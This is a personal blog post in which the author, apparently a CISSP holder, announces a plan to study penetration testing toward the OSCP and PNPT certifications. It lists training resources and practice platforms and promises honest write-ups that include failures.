That's not why I am here, I wanted to let you all know that I have found another avenue of mind absorption which is Ethical Hacking/ Pentesting. I will be getting the OSCP certification, I don't know when yet but I would say within a year. After getting my CISSP I really wanted the Certified Ethical Hacker( CEH) title, while I still do and more than likely I will come back to get it I feel that my time is better spent on something that is hands-on and fun. 

I was going to say that I've used Kali Linux since it was BackTrack, but that would be an overstatement. For pentesting use cases, it is definitely. I am going to consider myself a newbie when it comes to this, I have concepts, knowledge, training, and ideas that will help me in this journey but never have I jumped into this topic as I have others.  

There are other resources that I will take advantage of during this marathon. Certifications :

• Certifications: 
• PNPT (Practical Networking Penetration Tester)
• eJPT
• CEH Practical
• Services
• VulnHub
• HackTheBox
• Proving Grounds
• TryHackMe
• Training
• Youtube
• TCM-Security
• eJPT
• Udemy

Where am I starting?

I have chosen to start with the PNPT using the accompanying training courses, more information can be found here: https://certifications.tcm-sec.com/pnpt/. Heath Adams CEO and his team over at tcm-security have a great program gaining some momentum over the last couple of years. I have not decided but before the end of the year I will be PNPT certified. 

What else?

I am going to try and not lie to myself, they say the best way to learn is to teach. I am going to try and create writeups for machines that I successfully pentest. There are a ton of walkthroughs for machines out there. What I have found out is that videos are either edited, or content is curated carefully to only show successes. I don't want to do that I want to submit my failures, I want to show where I failed, where I didn't understand, where I asked for help. More of a realistic approach